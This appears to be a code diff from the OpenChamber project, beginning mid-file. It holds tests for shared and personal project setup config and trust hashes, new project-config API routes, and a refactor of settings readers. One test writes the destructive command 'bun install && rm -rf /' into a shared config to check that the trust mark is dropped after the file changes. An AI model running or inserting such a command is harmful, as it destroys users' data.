projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: 'lint', name: 'Lint', command: 'bun lint' }],
draftStarters: [{ type: 'skill', name: 'triage' }],
plansDir: 'docs/plans',
}));
const projectId = createProjectIdFromPath(repo);
const fresh = await runtime.readProjectSetup(projectId);
expect(fresh.shared.status).toBe('ok');
expect(fresh.shared.plansDir).toBe('docs/plans');
expect(fresh.setupWorktree).toEqual(['bun install']);
expect(fresh.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'lint:shared']);
const view = await runtime.updateProjectSetup(projectId, {
setupWorktree: ['cp .env.example .env'],
hiddenSharedActionIds: ['lint'],
projectActions: [{ id: 'mine', name: 'Mine', command: 'x' }],
});
expect(view.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
expect(view.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'mine:personal']);
expect(view.draftStarters).toEqual([{ type: 'skill', name: 'triage', source: 'shared' }]);
expect(view.personal.hiddenSharedActionIds).toEqual(['lint']);
expect(view.trust.trusted).toBe(false);
const trusted = await runtime.updateProjectSetup(projectId, { sharedTrustHash: view.trust.hash });
expect(trusted.trust.trusted).toBe(true);
expect(trusted.personal.sharedTrust?.hash).toBe(view.trust.hash);
// A pull that changes a shared command invalidates the answer.
await writeFile(path.join(repo, '.openchamber', 'project.json'), JSON.stringify({ version: 1, setupWorktree: ['bun install && rm -rf /'] }));
expect((await runtime.readProjectSetup(projectId)).trust.trusted).toBe(false);
const reset = await runtime.updateProjectSetup(projectId, { sharedTrustHash: null });
expect(reset.personal.sharedTrust).toBeNull();
} finally {
await cleanup();
}
});
it('writes the shared file into the checkout, trusts it for the writer, and removes it when emptied', async () => {
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
try {
const repo = path.join(tempRoot, 'repo');
await mkdir(repo, { recursive: true });
const projectId = createProjectIdFromPath(repo);
const sharedPath = path.join(repo, '.openchamber', 'project.json');
const shared = await runtime.updateSharedProjectSetup(projectId, {
setupWorktree: ['bun install'],
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
});
expect(JSON.parse(await readFile(sharedPath, 'utf8'))).toEqual({
version: 1,
setupWorktree: ['bun install'],
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
});
expect(shared.shared.status).toBe('ok');
expect(shared.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared']);
// The writer has seen what it shared: trusted here, prompt stays for teammates.
expect(shared.trust.trusted).toBe(true);
expect((await readRaw(projectId)).sharedTrust.hash).toBe(shared.trust.hash);
// A second patch replaces only the keys it names.
const withPlans = await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
expect(withPlans.shared.plansDir).toBe('docs/plans');
expect(withPlans.shared.setupWorktree).toEqual(['bun install']);
const emptied = await runtime.updateSharedProjectSetup(projectId, { setupWorktree: [], projectActions: [], plansDir: null });
expect(emptied.shared.status).toBe('missing');
await expect(readFile(sharedPath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
await expect(readFile(path.join(repo, '.openchamber'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
expect((await readRaw(projectId)).sharedTrust).toBeUndefined();
} finally {
await cleanup();
}
});
it('refuses to write the shared file for a checkout that does not exist and on a bad patch', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
const projectId = createProjectIdFromPath(path.join(tempRoot, 'missing-repo'));
await expect(runtime.updateSharedProjectSetup(projectId, { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
await expect(runtime.updateSharedProjectSetup('project-test', { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
const repo = path.join(tempRoot, 'repo');
await mkdir(repo, { recursive: true });
await expect(runtime.updateSharedProjectSetup(createProjectIdFromPath(repo), { plansDir: '../x' })).rejects.toThrow('plansDir must be');
await expect(readFile(path.join(repo, '.openchamber', 'project.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
} finally {
await cleanup();
}
});
it('resolves the repository plans folder: the default without plansDir, the configured one instead of it', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
const repo = path.join(tempRoot, 'repo');
await mkdir(repo, { recursive: true });
const projectId = createProjectIdFromPath(repo);
expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, '.openchamber', 'plans'));
await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, 'docs', 'plans'));
expect(await runtime.resolveSharedPlansDir('project-test')).toBeNull();
} finally {
await cleanup();
}
});
it('reports a broken shared file as invalid and still serves the personal setup', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
const repo = path.join(tempRoot, 'repo');
await mkdir(path.join(repo, '.openchamber'), { recursive: true });
await writeFile(path.join(repo, '.openchamber', 'project.json'), '{ broken');
const projectId = createProjectIdFromPath(repo);
await runtime.updateProjectSetup(projectId, { setupWorktree: ['mine'] });
const view = await runtime.readProjectSetup(projectId);
expect(view.shared.status).toBe('invalid');
expect(view.shared.reason).toMatch(/invalid JSON/);
expect(view.setupWorktree).toEqual(['mine']);
} finally {
await cleanup();
}
});
});
@@ -0,0 +1,59 @@
/**
* Project setup routes: the client-owned part of a project's config file
* (worktree setup commands, project actions, draft starters).
*
* These replace the shared UI's direct `/api/fs/*` access to
* `~/.config/openchamber/projects/<projectId>.json`. The client no longer
* resolves the home directory or composes the path, and every write goes
* through the same lock the scheduled-task writers hold.
*
* `/api/projects` is on the JSON-body allowlist in `core-routes.js`, so
* `req.body` is parsed here without a per-route parser.
*/
import { isProjectSetupValidationError } from './project-setup.js';
const isObjectRecord = (value) => Boolean(value) && typeof value === 'object' && !Array.isArray(value);
const respondWithError = (res, error, fallbackMessage) => {
const message = error instanceof Error ? error.message : fallbackMessage;
if (isProjectSetupValidationError(error)) {
return res.status(400).json({ error: message });
}
return res.status(500).json({ error: message || fallbackMessage });
};
export const registerProjectSetupRoutes = (app, dependencies) => {
const { projectConfigRuntime } = dependencies;
app.get('/api/projects/:projectId/config', async (req, res) => {
try {
return res.json(await projectConfigRuntime.readProjectSetup(req.params.projectId));
} catch (error) {
return respondWithError(res, error, 'Failed to read project config');
}
});
// The team's shared file in the checkout; see `updateSharedProjectSetup`.
app.put('/api/projects/:projectId/config/shared', async (req, res) => {
if (!isObjectRecord(req.body)) {
return res.status(400).json({ error: 'Body must be an object' });
}
try {
return res.json(await projectConfigRuntime.updateSharedProjectSetup(req.params.projectId, req.body));
} catch (error) {
return respondWithError(res, error, 'Failed to save the shared project config');
}
});
app.put('/api/projects/:projectId/config', async (req, res) => {
if (!isObjectRecord(req.body)) {
return res.status(400).json({ error: 'Body must be an object' });
}
try {
return res.json(await projectConfigRuntime.updateProjectSetup(req.params.projectId, req.body));
} catch (error) {
return respondWithError(res, error, 'Failed to save project config');
}
});
};
@@ -11,6 +11,7 @@
import fs from 'fs';
import os from 'os';
import path from 'path';
import { readMergedSettingsSync } from '../opencode/settings-files.js';
const OPENCHAMBER_SETTINGS_FILE = path.join(
process.env.OPENCHAMBER_DATA_DIR
@@ -23,16 +24,11 @@ const OPENCHAMBER_SETTINGS_FILE = path.join(
// off, no small-model calls and no metadata writes happen at all. Existing
// payloads stay untouched — clients keep showing them and dismissal still works.
const getSessionAssistTargets = () => {
try {
const raw = fs.readFileSync(OPENCHAMBER_SETTINGS_FILE, 'utf8');
const settings = JSON.parse(raw);
return {
recap: settings?.sessionRecapEnabled !== false,
suggestion: settings?.sessionSuggestionEnabled !== false,
};
} catch {
return { recap: true, suggestion: true };
}
const settings = readMergedSettingsSync({ fs, path, settingsFilePath: OPENCHAMBER_SETTINGS_FILE });
return {
recap: settings.sessionRecapEnabled !== false,
suggestion: settings.sessionSuggestionEnabled !== false,
};
};
const IDLE_QUIET_MS = 60_000;
@@ -19,6 +19,7 @@ import os from 'os';
import path from 'path';
import { GOAL_OBJECTIVE_CHAR_LIMIT, readObjective } from './objectives.js';
import { readMergedSettingsSync } from '../opencode/settings-files.js';
const OPENCHAMBER_SETTINGS_FILE = path.join(
process.env.OPENCHAMBER_DATA_DIR
@@ -27,15 +28,9 @@ const OPENCHAMBER_SETTINGS_FILE = path.join(
'settings.json',
);
const isSessionGoalEnabled = () => {
try {
const raw = fs.readFileSync(OPENCHAMBER_SETTINGS_FILE, 'utf8');
const settings = JSON.parse(raw);
return settings?.sessionGoalEnabled !== false;
} catch {
return true;
}
};
const isSessionGoalEnabled = () => (
readMergedSettingsSync({ fs, path, settingsFilePath: OPENCHAMBER_SETTINGS_FILE }).sessionGoalEnabled !== false
);
const IDLE_QUIET_MS = 15_000;
// A goal set while the session is already idle should kick off promptly.
+5 -10
View File
@@ -6,6 +6,7 @@ import { readConfigLayers } from '../opencode/shared.js';
import { getModelCatalog } from './catalog.js';
import { resolveSmallModel, parseModelRef, isUsableAuthEntry, getAuthEntryForProvider } from './resolve.js';
import { DEDICATED_WIRE_FORMAT_PROVIDERS, callSmallModel, resolveProviderLogin } from './call.js';
import { readMergedSettingsSync } from '../opencode/settings-files.js';
import { getRuntimeProviderSnapshot } from './runtime-providers.js';
// Never a small model, whatever the transport looks like. A plugin can publish
@@ -26,16 +27,10 @@ const OPENCHAMBER_SETTINGS_FILE = path.join(
// OpenChamber's own settings: when the user unchecks "use default small model"
// their explicit override outranks every other resolution step.
const readSmallModelSettingsOverride = () => {
try {
const raw = fs.readFileSync(OPENCHAMBER_SETTINGS_FILE, 'utf8');
const settings = JSON.parse(raw);
if (!settings || typeof settings !== 'object') return null;
if (settings.smallModelUseDefault !== false) return null;
const override = typeof settings.smallModelOverride === 'string' ? settings.smallModelOverride.trim() : '';
return override || null;
} catch {
return null;
}
const settings = readMergedSettingsSync({ fs, path, settingsFilePath: OPENCHAMBER_SETTINGS_FILE });
if (settings.smallModelUseDefault !== false) return null;
const override = typeof settings.smallModelOverride === 'string' ? settings.smallModelOverride.trim() : '';
return override || null;
};
// Rough safety clamp so a huge input never blows the model's context window.
@@ -1,6 +1,7 @@
import fs from 'fs';
import os from 'os';
import path from 'path';
import { readMergedSettingsSync } from '../opencode/settings-files.js';
// The walkthrough may run on a different model than the rest of the small-model
// callers. Those callers want cheap and fast; this one needs structured output
@@ -23,16 +24,11 @@ const SETTINGS_FILE = path.join(
* not use the small model" with nothing to use instead.
*/
export function readWalkthroughModelOverride() {
try {
const settings = JSON.parse(fs.readFileSync(SETTINGS_FILE, 'utf8'));
if (!settings || typeof settings !== 'object') return null;
const override = typeof settings.walkthroughModelOverride === 'string'
? settings.walkthroughModelOverride.trim()
: '';
return override || null;
} catch {
// No settings file, unreadable, or malformed all mean the same thing: no
// override, use the small model.
return null;
}
// No settings file, unreadable, or malformed all mean the same thing: no
// override, use the small model.
const settings = readMergedSettingsSync({ fs, path, settingsFilePath: SETTINGS_FILE });
const override = typeof settings.walkthroughModelOverride === 'string'
? settings.walkthroughModelOverride.trim()
: '';
return override || null;
}